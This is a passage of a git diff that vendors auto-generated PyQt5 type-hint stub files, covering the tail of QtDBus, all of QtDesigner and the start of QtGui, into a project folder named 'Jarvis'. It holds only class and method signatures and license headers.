+ def watchedServices(self) -> typing.List[str]: ... + + +class QDBusUnixFileDescriptor(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, fileDescriptor: int) -> None: ... + @typing.overload + def __init__(self, other: 'QDBusUnixFileDescriptor') -> None: ... + + def swap(self, other: 'QDBusUnixFileDescriptor') -> None: ... + @staticmethod + def isSupported() -> bool: ... + def setFileDescriptor(self, fileDescriptor: int) -> None: ... + def fileDescriptor(self) -> int: ... + def isValid(self) -> bool: ... + + +class QDBusPendingReply(QDBusPendingCall): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QDBusPendingReply') -> None: ... + @typing.overload + def __init__(self, call: QDBusPendingCall) -> None: ... + @typing.overload + def __init__(self, reply: QDBusMessage) -> None: ... + + def value(self, type: typing.Any = ...) -> typing.Any: ... + def waitForFinished(self) -> None: ... + def reply(self) -> QDBusMessage: ... + def isValid(self) -> bool: ... + def isFinished(self) -> bool: ... + def isError(self) -> bool: ... + def error(self) -> QDBusError: ... + def argumentAt(self, index: int) -> typing.Any: ... + + +class QDBusReply(sip.simplewrapper): + + @typing.overload + def __init__(self, reply: QDBusMessage) -> None: ... + @typing.overload + def __init__(self, call: QDBusPendingCall) -> None: ... + @typing.overload + def __init__(self, error: QDBusError) -> None: ... + @typing.overload + def __init__(self, other: 'QDBusReply') -> None: ... + + def value(self, type: typing.Any = ...) -> typing.Any: ... + def isValid(self) -> bool: ... + def error(self) -> QDBusError: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtDesigner.pyi b/OTHERS/Jarvis/ools/PyQt5/QtDesigner.pyi new file mode 100644 index 00000000..0f34d72a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtDesigner.pyi @@ -0,0 +1,483 @@ +# The PEP 484 type hints stub file for the QtDesigner module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtWidgets +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QDesignerActionEditorInterface(QtWidgets.QWidget): + + def __init__(self, parent: QtWidgets.QWidget, flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def setFormWindow(self, formWindow: 'QDesignerFormWindowInterface') -> None: ... + def unmanageAction(self, action: QtWidgets.QAction) -> None: ... + def manageAction(self, action: QtWidgets.QAction) -> None: ... + def core(self) -> 'QDesignerFormEditorInterface': ... + + +class QAbstractFormBuilder(sip.simplewrapper): + + def __init__(self) -> None: ... + + def errorString(self) -> str: ... + def workingDirectory(self) -> QtCore.QDir: ... + def setWorkingDirectory(self, directory: QtCore.QDir) -> None: ... + def save(self, dev: QtCore.QIODevice, widget: QtWidgets.QWidget) -> None: ... + def load(self, device: QtCore.QIODevice, parent: typing.Optional[QtWidgets.QWidget] = ...) -> QtWidgets.QWidget: ... + + +class QDesignerFormEditorInterface(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setActionEditor(self, actionEditor: QDesignerActionEditorInterface) -> None: ... + def setObjectInspector(self, objectInspector: 'QDesignerObjectInspectorInterface') -> None: ... + def setPropertyEditor(self, propertyEditor: 'QDesignerPropertyEditorInterface') -> None: ... + def setWidgetBox(self, widgetBox: 'QDesignerWidgetBoxInterface') -> None: ... + def actionEditor(self) -> QDesignerActionEditorInterface: ... + def formWindowManager(self) -> 'QDesignerFormWindowManagerInterface': ... + def objectInspector(self) -> 'QDesignerObjectInspectorInterface': ... + def propertyEditor(self) -> 'QDesignerPropertyEditorInterface': ... + def widgetBox(self) -> 'QDesignerWidgetBoxInterface': ... + def topLevel(self) -> QtWidgets.QWidget: ... + def extensionManager(self) -> 'QExtensionManager': ... + + +class QDesignerFormWindowInterface(QtWidgets.QWidget): + + class FeatureFlag(int): + EditFeature = ... # type: QDesignerFormWindowInterface.FeatureFlag + GridFeature = ... # type: QDesignerFormWindowInterface.FeatureFlag + TabOrderFeature = ... # type: QDesignerFormWindowInterface.FeatureFlag + DefaultFeature = ... # type: QDesignerFormWindowInterface.FeatureFlag + + class Feature(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QDesignerFormWindowInterface.Feature', 'QDesignerFormWindowInterface.FeatureFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QDesignerFormWindowInterface.Feature') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QDesignerFormWindowInterface.Feature': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def activateResourceFilePaths(self, paths: typing.Iterable[str]) -> typing.Tuple[int, str]: ... + def formContainer(self) -> QtWidgets.QWidget: ... + def activeResourceFilePaths(self) -> typing.List[str]: ... + def checkContents(self) -> typing.List[str]: ... + def objectRemoved(self, o: QtCore.QObject) -> None: ... + def widgetRemoved(self, w: QtWidgets.QWidget) -> None: ... + def changed(self) -> None: ... + def activated(self, widget: QtWidgets.QWidget) -> None: ... + def aboutToUnmanageWidget(self, widget: QtWidgets.QWidget) -> None: ... + def widgetUnmanaged(self, widget: QtWidgets.QWidget) -> None: ... + def widgetManaged(self, widget: QtWidgets.QWidget) -> None: ... + def resourceFilesChanged(self) -> None: ... + def geometryChanged(self) -> None: ... + def selectionChanged(self) -> None: ... + def featureChanged(self, f: typing.Union['QDesignerFormWindowInterface.Feature', 'QDesignerFormWindowInterface.FeatureFlag']) -> None: ... + def fileNameChanged(self, fileName: str) -> None: ... + def mainContainerChanged(self, mainContainer: QtWidgets.QWidget) -> None: ... + def setFileName(self, fileName: str) -> None: ... + def setGrid(self, grid: QtCore.QPoint) -> None: ... + def selectWidget(self, widget: QtWidgets.QWidget, select: bool = ...) -> None: ... + def clearSelection(self, update: bool = ...) -> None: ... + def setDirty(self, dirty: bool) -> None: ... + def setFeatures(self, f: typing.Union['QDesignerFormWindowInterface.Feature', 'QDesignerFormWindowInterface.FeatureFlag']) -> None: ... + def unmanageWidget(self, widget: QtWidgets.QWidget) -> None: ... + def manageWidget(self, widget: QtWidgets.QWidget) -> None: ... + def removeResourceFile(self, path: str) -> None: ... + def addResourceFile(self, path: str) -> None: ... + def resourceFiles(self) -> typing.List[str]: ... + def emitSelectionChanged(self) -> None: ... + @typing.overload + @staticmethod + def findFormWindow(w: QtWidgets.QWidget) -> 'QDesignerFormWindowInterface': ... + @typing.overload + @staticmethod + def findFormWindow(obj: QtCore.QObject) -> 'QDesignerFormWindowInterface': ... + def isDirty(self) -> bool: ... + def isManaged(self, widget: QtWidgets.QWidget) -> bool: ... + def setMainContainer(self, mainContainer: QtWidgets.QWidget) -> None: ... + def mainContainer(self) -> QtWidgets.QWidget: ... + def grid(self) -> QtCore.QPoint: ... + def cursor(self) -> 'QDesignerFormWindowCursorInterface': ... + def core(self) -> QDesignerFormEditorInterface: ... + def setIncludeHints(self, includeHints: typing.Iterable[str]) -> None: ... + def includeHints(self) -> typing.List[str]: ... + def setExportMacro(self, exportMacro: str) -> None: ... + def exportMacro(self) -> str: ... + def setPixmapFunction(self, pixmapFunction: str) -> None: ... + def pixmapFunction(self) -> str: ... + def setLayoutFunction(self, margin: str, spacing: str) -> None: ... + def layoutFunction(self) -> typing.Tuple[str, str]: ... + def setLayoutDefault(self, margin: int, spacing: int) -> None: ... + def layoutDefault(self) -> typing.Tuple[int, int]: ... + def setComment(self, comment: str) -> None: ... + def comment(self) -> str: ... + def setAuthor(self, author: str) -> None: ... + def author(self) -> str: ... + def hasFeature(self, f: typing.Union['QDesignerFormWindowInterface.Feature', 'QDesignerFormWindowInterface.FeatureFlag']) -> bool: ... + def features(self) -> 'QDesignerFormWindowInterface.Feature': ... + @typing.overload + def setContents(self, dev: QtCore.QIODevice, errorMessage: typing.Optional[str] = ...) -> bool: ... + @typing.overload + def setContents(self, contents: str) -> bool: ... + def contents(self) -> str: ... + def absoluteDir(self) -> QtCore.QDir: ... + def fileName(self) -> str: ... + + +class QDesignerFormWindowCursorInterface(sip.simplewrapper): + + class MoveMode(int): + MoveAnchor = ... # type: QDesignerFormWindowCursorInterface.MoveMode + KeepAnchor = ... # type: QDesignerFormWindowCursorInterface.MoveMode + + class MoveOperation(int): + NoMove = ... # type: QDesignerFormWindowCursorInterface.MoveOperation + Start = ... # type: QDesignerFormWindowCursorInterface.MoveOperation + End = ... # type: QDesignerFormWindowCursorInterface.MoveOperation + Next = ... # type: QDesignerFormWindowCursorInterface.MoveOperation + Prev = ... # type: QDesignerFormWindowCursorInterface.MoveOperation + Left = ... # type: QDesignerFormWindowCursorInterface.MoveOperation + Right = ... # type: QDesignerFormWindowCursorInterface.MoveOperation + Up = ... # type: QDesignerFormWindowCursorInterface.MoveOperation + Down = ... # type: QDesignerFormWindowCursorInterface.MoveOperation + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDesignerFormWindowCursorInterface') -> None: ... + + def isWidgetSelected(self, widget: QtWidgets.QWidget) -> bool: ... + def resetWidgetProperty(self, widget: QtWidgets.QWidget, name: str) -> None: ... + def setWidgetProperty(self, widget: QtWidgets.QWidget, name: str, value: typing.Any) -> None: ... + def setProperty(self, name: str, value: typing.Any) -> None: ... + def selectedWidget(self, index: int) -> QtWidgets.QWidget: ... + def selectedWidgetCount(self) -> int: ... + def hasSelection(self) -> bool: ... + def widget(self, index: int) -> QtWidgets.QWidget: ... + def widgetCount(self) -> int: ... + def current(self) -> QtWidgets.QWidget: ... + def setPosition(self, pos: int, mode: 'QDesignerFormWindowCursorInterface.MoveMode' = ...) -> None: ... + def position(self) -> int: ... + def movePosition(self, op: 'QDesignerFormWindowCursorInterface.MoveOperation', mode: 'QDesignerFormWindowCursorInterface.MoveMode' = ...) -> bool: ... + def formWindow(self) -> QDesignerFormWindowInterface: ... + + +class QDesignerFormWindowManagerInterface(QtCore.QObject): + + class ActionGroup(int): + StyledPreviewActionGroup = ... # type: QDesignerFormWindowManagerInterface.ActionGroup + + class Action(int): + CutAction = ... # type: QDesignerFormWindowManagerInterface.Action + CopyAction = ... # type: QDesignerFormWindowManagerInterface.Action + PasteAction = ... # type: QDesignerFormWindowManagerInterface.Action + DeleteAction = ... # type: QDesignerFormWindowManagerInterface.Action + SelectAllAction = ... # type: QDesignerFormWindowManagerInterface.Action + LowerAction = ... # type: QDesignerFormWindowManagerInterface.Action + RaiseAction = ... # type: QDesignerFormWindowManagerInterface.Action + UndoAction = ... # type: QDesignerFormWindowManagerInterface.Action + RedoAction = ... # type: QDesignerFormWindowManagerInterface.Action + HorizontalLayoutAction = ... # type: QDesignerFormWindowManagerInterface.Action + VerticalLayoutAction = ... # type: QDesignerFormWindowManagerInterface.Action + SplitHorizontalAction = ... # type: QDesignerFormWindowManagerInterface.Action + SplitVerticalAction = ... # type: QDesignerFormWindowManagerInterface.Action + GridLayoutAction = ... # type: QDesignerFormWindowManagerInterface.Action + FormLayoutAction = ... # type: QDesignerFormWindowManagerInterface.Action + BreakLayoutAction = ... # type: QDesignerFormWindowManagerInterface.Action + AdjustSizeAction = ... # type: QDesignerFormWindowManagerInterface.Action + SimplifyLayoutAction = ... # type: QDesignerFormWindowManagerInterface.Action + DefaultPreviewAction = ... # type: QDesignerFormWindowManagerInterface.Action + FormWindowSettingsDialogAction = ... # type: QDesignerFormWindowManagerInterface.Action + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def showPluginDialog(self) -> None: ... + def closeAllPreviews(self) -> None: ... + def showPreview(self) -> None: ... + def actionGroup(self, actionGroup: 'QDesignerFormWindowManagerInterface.ActionGroup') -> QtWidgets.QActionGroup: ... + def action(self, action: 'QDesignerFormWindowManagerInterface.Action') -> QtWidgets.QAction: ... + def setActiveFormWindow(self, formWindow: QDesignerFormWindowInterface) -> None: ... + def removeFormWindow(self, formWindow: QDesignerFormWindowInterface) -> None: ... + def addFormWindow(self, formWindow: QDesignerFormWindowInterface) -> None: ... + def formWindowSettingsChanged(self, fw: QDesignerFormWindowInterface) -> None: ... + def activeFormWindowChanged(self, formWindow: QDesignerFormWindowInterface) -> None: ... + def formWindowRemoved(self, formWindow: QDesignerFormWindowInterface) -> None: ... + def formWindowAdded(self, formWindow: QDesignerFormWindowInterface) -> None: ... + def core(self) -> QDesignerFormEditorInterface: ... + def createFormWindow(self, parent: typing.Optional[QtWidgets.QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> QDesignerFormWindowInterface: ... + def formWindow(self, index: int) -> QDesignerFormWindowInterface: ... + def formWindowCount(self) -> int: ... + def activeFormWindow(self) -> QDesignerFormWindowInterface: ... + def actionSimplifyLayout(self) -> QtWidgets.QAction: ... + def actionFormLayout(self) -> QtWidgets.QAction: ... + + +class QDesignerObjectInspectorInterface(QtWidgets.QWidget): + + def __init__(self, parent: QtWidgets.QWidget, flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def setFormWindow(self, formWindow: QDesignerFormWindowInterface) -> None: ... + def core(self) -> QDesignerFormEditorInterface: ... + + +class QDesignerPropertyEditorInterface(QtWidgets.QWidget): + + def __init__(self, parent: QtWidgets.QWidget, flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def setReadOnly(self, readOnly: bool) -> None: ... + def setPropertyValue(self, name: str, value: typing.Any, changed: bool = ...) -> None: ... + def setObject(self, object: QtCore.QObject) -> None: ... + def propertyChanged(self, name: str, value: typing.Any) -> None: ... + def currentPropertyName(self) -> str: ... + def object(self) -> QtCore.QObject: ... + def isReadOnly(self) -> bool: ... + def core(self) -> QDesignerFormEditorInterface: ... + + +class QDesignerWidgetBoxInterface(QtWidgets.QWidget): + + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def save(self) -> bool: ... + def load(self) -> bool: ... + def fileName(self) -> str: ... + def setFileName(self, file_name: str) -> None: ... + + +class QDesignerContainerExtension(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDesignerContainerExtension') -> None: ... + + def canRemove(self, index: int) -> bool: ... + def canAddWidget(self) -> bool: ... + def remove(self, index: int) -> None: ... + def insertWidget(self, index: int, widget: QtWidgets.QWidget) -> None: ... + def addWidget(self, widget: QtWidgets.QWidget) -> None: ... + def setCurrentIndex(self, index: int) -> None: ... + def currentIndex(self) -> int: ... + def widget(self, index: int) -> QtWidgets.QWidget: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + + +class QDesignerCustomWidgetInterface(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDesignerCustomWidgetInterface') -> None: ... + + def codeTemplate(self) -> str: ... + def domXml(self) -> str: ... + def initialize(self, core: QDesignerFormEditorInterface) -> None: ... + def isInitialized(self) -> bool: ... + def createWidget(self, parent: QtWidgets.QWidget) -> QtWidgets.QWidget: ... + def isContainer(self) -> bool: ... + def icon(self) -> QtGui.QIcon: ... + def includeFile(self) -> str: ... + def whatsThis(self) -> str: ... + def toolTip(self) -> str: ... + def group(self) -> str: ... + def name(self) -> str: ... + + +class QDesignerCustomWidgetCollectionInterface(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDesignerCustomWidgetCollectionInterface') -> None: ... + + def customWidgets(self) -> typing.List[QDesignerCustomWidgetInterface]: ... + + +class QAbstractExtensionFactory(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QAbstractExtensionFactory') -> None: ... + + def extension(self, object: QtCore.QObject, iid: str) -> QtCore.QObject: ... + + +class QExtensionFactory(QtCore.QObject, QAbstractExtensionFactory): + + def __init__(self, parent: typing.Optional['QExtensionManager'] = ...) -> None: ... + + def createExtension(self, object: QtCore.QObject, iid: str, parent: QtCore.QObject) -> QtCore.QObject: ... + def extensionManager(self) -> 'QExtensionManager': ... + def extension(self, object: QtCore.QObject, iid: str) -> QtCore.QObject: ... + + +class QAbstractExtensionManager(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QAbstractExtensionManager') -> None: ... + + def extension(self, object: QtCore.QObject, iid: str) -> QtCore.QObject: ... + def unregisterExtensions(self, factory: QAbstractExtensionFactory, iid: str) -> None: ... + def registerExtensions(self, factory: QAbstractExtensionFactory, iid: str) -> None: ... + + +class QFormBuilder(QAbstractFormBuilder): + + def __init__(self) -> None: ... + + def customWidgets(self) -> typing.List[QDesignerCustomWidgetInterface]: ... + def setPluginPath(self, pluginPaths: typing.Iterable[str]) -> None: ... + def addPluginPath(self, pluginPath: str) -> None: ... + def clearPluginPaths(self) -> None: ... + def pluginPaths(self) -> typing.List[str]: ... + + +class QDesignerMemberSheetExtension(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDesignerMemberSheetExtension') -> None: ... + + def parameterNames(self, index: int) -> typing.List[QtCore.QByteArray]: ... + def parameterTypes(self, index: int) -> typing.List[QtCore.QByteArray]: ... + def signature(self, index: int) -> str: ... + def declaredInClass(self, index: int) -> str: ... + def inheritedFromWidget(self, index: int) -> bool: ... + def isSlot(self, index: int) -> bool: ... + def isSignal(self, index: int) -> bool: ... + def setVisible(self, index: int, b: bool) -> None: ... + def isVisible(self, index: int) -> bool: ... + def setMemberGroup(self, index: int, group: str) -> None: ... + def memberGroup(self, index: int) -> str: ... + def memberName(self, index: int) -> str: ... + def indexOf(self, name: str) -> int: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + + +class QDesignerPropertySheetExtension(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDesignerPropertySheetExtension') -> None: ... + + def isEnabled(self, index: int) -> bool: ... + def setChanged(self, index: int, changed: bool) -> None: ... + def isChanged(self, index: int) -> bool: ... + def setProperty(self, index: int, value: typing.Any) -> None: ... + def property(self, index: int) -> typing.Any: ... + def setAttribute(self, index: int, b: bool) -> None: ... + def isAttribute(self, index: int) -> bool: ... + def setVisible(self, index: int, b: bool) -> None: ... + def isVisible(self, index: int) -> bool: ... + def reset(self, index: int) -> bool: ... + def hasReset(self, index: int) -> bool: ... + def setPropertyGroup(self, index: int, group: str) -> None: ... + def propertyGroup(self, index: int) -> str: ... + def propertyName(self, index: int) -> str: ... + def indexOf(self, name: str) -> int: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + + +class QExtensionManager(QtCore.QObject, QAbstractExtensionManager): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def extension(self, object: QtCore.QObject, iid: str) -> QtCore.QObject: ... + def unregisterExtensions(self, factory: QAbstractExtensionFactory, iid: str = ...) -> None: ... + def registerExtensions(self, factory: QAbstractExtensionFactory, iid: str = ...) -> None: ... + + +class QDesignerTaskMenuExtension(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDesignerTaskMenuExtension') -> None: ... + + def preferredEditAction(self) -> QtWidgets.QAction: ... + def taskActions(self) -> typing.List[QtWidgets.QAction]: ... + + +class QPyDesignerContainerExtension(QtCore.QObject, QDesignerContainerExtension): + + def __init__(self, parent: QtCore.QObject) -> None: ... + + +class QPyDesignerCustomWidgetCollectionPlugin(QtCore.QObject, QDesignerCustomWidgetCollectionInterface): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + +class QPyDesignerCustomWidgetPlugin(QtCore.QObject, QDesignerCustomWidgetInterface): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + +class QPyDesignerMemberSheetExtension(QtCore.QObject, QDesignerMemberSheetExtension): + + def __init__(self, parent: QtCore.QObject) -> None: ... + + +class QPyDesignerPropertySheetExtension(QtCore.QObject, QDesignerPropertySheetExtension): + + def __init__(self, parent: QtCore.QObject) -> None: ... + + +class QPyDesignerTaskMenuExtension(QtCore.QObject, QDesignerTaskMenuExtension): + + def __init__(self, parent: QtCore.QObject) -> None: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtGui.pyi b/OTHERS/Jarvis/ools/PyQt5/QtGui.pyi new file mode 100644 index 00000000..bfd5cb11 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtGui.pyi @@ -0,0 +1,8868 @@ +# The PEP 484 type hints stub file for the QtGui module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_SHADER_ATTRIBUTE_ARRAY = typing.Union[typing.Sequence['QVector2D'], + typing.Sequence['QVector3D'], typing.Sequence['QVector4D'], + typing.Sequence[typing.Sequence[float]]] +PYQT_SHADER_UNIFORM_VALUE_ARRAY = typing.Union[typing.Sequence['QVector2D'], + typing.Sequence['QVector3D'], typing.Sequence['QVector4D'], + typing.Sequence['QMatrix2x2'], typing.Sequence['QMatrix2x3'], + typing.Sequence['QMatrix2x4'], typing.Sequence['QMatrix3x2'], + typing.Sequence['QMatrix3x3'], typing.Sequence['QMatrix3x4'], + typing.Sequence['QMatrix4x2'], typing.Sequence['QMatrix4x3'], + typing.Sequence['QMatrix4x4'], typing.Sequence[typing.Sequence[float]]] + + +class QAbstractTextDocumentLayout(QtCore.QObject): + + class Selection(sip.simplewrapper): + + cursor = ... # type: 'QTextCursor' + format = ... # type: 'QTextCharFormat' + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QAbstractTextDocumentLayout.Selection') -> None: ... + + class PaintContext(sip.simplewrapper): + + clip = ... # type: QtCore.QRectF + cursorPosition = ... # type: int + palette = ... # type: 'QPalette' + selections = ... # type: typing.Iterable['QAbstractTextDocumentLayout.Selection'] + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QAbstractTextDocumentLayout.PaintContext') -> None: ... + + def __init__(self, doc: 'QTextDocument') -> None: ... + + def blockWithMarkerAt(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> 'QTextBlock': ... + def formatAt(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> 'QTextFormat': ... + def imageAt(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> str: ... + def format(self, pos: int) -> 'QTextCharFormat': ... + def drawInlineObject(self, painter: 'QPainter', rect: QtCore.QRectF, object: 'QTextInlineObject', posInDocument: int, format: 'QTextFormat') -> None: ... + def positionInlineObject(self, item: 'QTextInlineObject', posInDocument: int, format: 'QTextFormat') -> None: ... + def resizeInlineObject(self, item: 'QTextInlineObject', posInDocument: int, format: 'QTextFormat') -> None: ... + def documentChanged(self, from_: int, charsRemoved: int, charsAdded: int) -> None: ... + def updateBlock(self, block: 'QTextBlock') -> None: ... + def pageCountChanged(self, newPages: int) -> None: ... + def documentSizeChanged(self, newSize: QtCore.QSizeF) -> None: ... + def update(self, rect: QtCore.QRectF = ...) -> None: ... + def handlerForObject(self, objectType: int) -> 'QTextObjectInterface': ... + def unregisterHandler(self, objectType: int, component: typing.Optional[QtCore.QObject] = ...) -> None: ... + def registerHandler(self, objectType: int, component: QtCore.QObject) -> None: ... + def document(self) -> 'QTextDocument': ... + def paintDevice(self) -> 'QPaintDevice': ... + def setPaintDevice(self, device: 'QPaintDevice') -> None: ... + def blockBoundingRect(self, block: 'QTextBlock') -> QtCore.QRectF: ... + def frameBoundingRect(self, frame: 'QTextFrame') -> QtCore.QRectF: ... + def documentSize(self) -> QtCore.QSizeF: ... + def pageCount(self) -> int: ... + def anchorAt(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> str: ... + def hitTest(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint], accuracy: QtCore.Qt.HitTestAccuracy) -> int: ... + def draw(self, painter: 'QPainter', context: 'QAbstractTextDocumentLayout.PaintContext') -> None: ... + + +class QTextObjectInterface(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextObjectInterface') -> None: ... + + def drawObject(self, painter: 'QPainter', rect: QtCore.QRectF, doc: 'QTextDocument', posInDocument: int, format: 'QTextFormat') -> None: ... + def intrinsicSize(self, doc: 'QTextDocument', posInDocument: int, format: 'QTextFormat') -> QtCore.QSizeF: ... + + +class QBackingStore(sip.simplewrapper): + + def __init__(self, window: 'QWindow') -> None: ... + + def hasStaticContents(self) -> bool: ... + def staticContents(self) -> 'QRegion': ... + def setStaticContents(self, region: 'QRegion') -> None: ... + def endPaint(self) -> None: ... + def beginPaint(self, a0: 'QRegion') -> None: ... + def scroll(self, area: 'QRegion', dx: int, dy: int) -> bool: ... + def size(self) -> QtCore.QSize: ... + def resize(self, size: QtCore.QSize) -> None: ... + def flush(self, region: 'QRegion', window: typing.Optional['QWindow'] = ..., offset: QtCore.QPoint = ...) -> None: ... + def paintDevice(self) -> 'QPaintDevice': ... + def window(self) -> 'QWindow': ... + + +class QPaintDevice(sip.simplewrapper): + + class PaintDeviceMetric(int): + PdmWidth = ... # type: QPaintDevice.PaintDeviceMetric + PdmHeight = ... # type: QPaintDevice.PaintDeviceMetric + PdmWidthMM = ... # type: QPaintDevice.PaintDeviceMetric + PdmHeightMM = ... # type: QPaintDevice.PaintDeviceMetric + PdmNumColors = ... # type: QPaintDevice.PaintDeviceMetric + PdmDepth = ... # type: QPaintDevice.PaintDeviceMetric + PdmDpiX = ... # type: QPaintDevice.PaintDeviceMetric + PdmDpiY = ... # type: QPaintDevice.PaintDeviceMetric + PdmPhysicalDpiX = ... # type: QPaintDevice.PaintDeviceMetric + PdmPhysicalDpiY = ... # type: QPaintDevice.PaintDeviceMetric + PdmDevicePixelRatio = ... # type: QPaintDevice.PaintDeviceMetric + PdmDevicePixelRatioScaled = ... # type: QPaintDevice.PaintDeviceMetric + + def __init__(self) -> None: ... + + @staticmethod + def devicePixelRatioFScale() -> float: ... + def devicePixelRatioF(self) -> float: ... + def metric(self, metric: 'QPaintDevice.PaintDeviceMetric') -> int: ... + def devicePixelRatio(self) -> int: ... + def colorCount(self) -> int: ... + def paintingActive(self) -> bool: ... + def depth(self) -> int: ... + def physicalDpiY(self) -> int: ... + def physicalDpiX(self) -> int: ... + def logicalDpiY(self) -> int: ... + def logicalDpiX(self) -> int: ... + def heightMM(self) -> int: ... + def widthMM(self) -> int: ... + def height(self) -> int: ... + def width(self) -> int: ... + def paintEngine(self) -> 'QPaintEngine': ... + + +class QPixmap(QPaintDevice): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, w: int, h: int) -> None: ... + @typing.overload + def __init__(self, a0: QtCore.QSize) -> None: ... + @typing.overload + def __init__(self, fileName: str, format: typing.Optional[str] = ..., flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> None: ... + @typing.overload + def __init__(self, xpm: typing.List[str]) -> None: ... + @typing.overload + def __init__(self, a0: 'QPixmap') -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + + def setDevicePixelRatio(self, scaleFactor: float) -> None: ... + def devicePixelRatio(self) -> float: ... + def swap(self, other: 'QPixmap') -> None: ... + @typing.overload + def scroll(self, dx: int, dy: int, rect: QtCore.QRect) -> 'QRegion': ... + @typing.overload + def scroll(self, dx: int, dy: int, x: int, y: int, width: int, height: int) -> 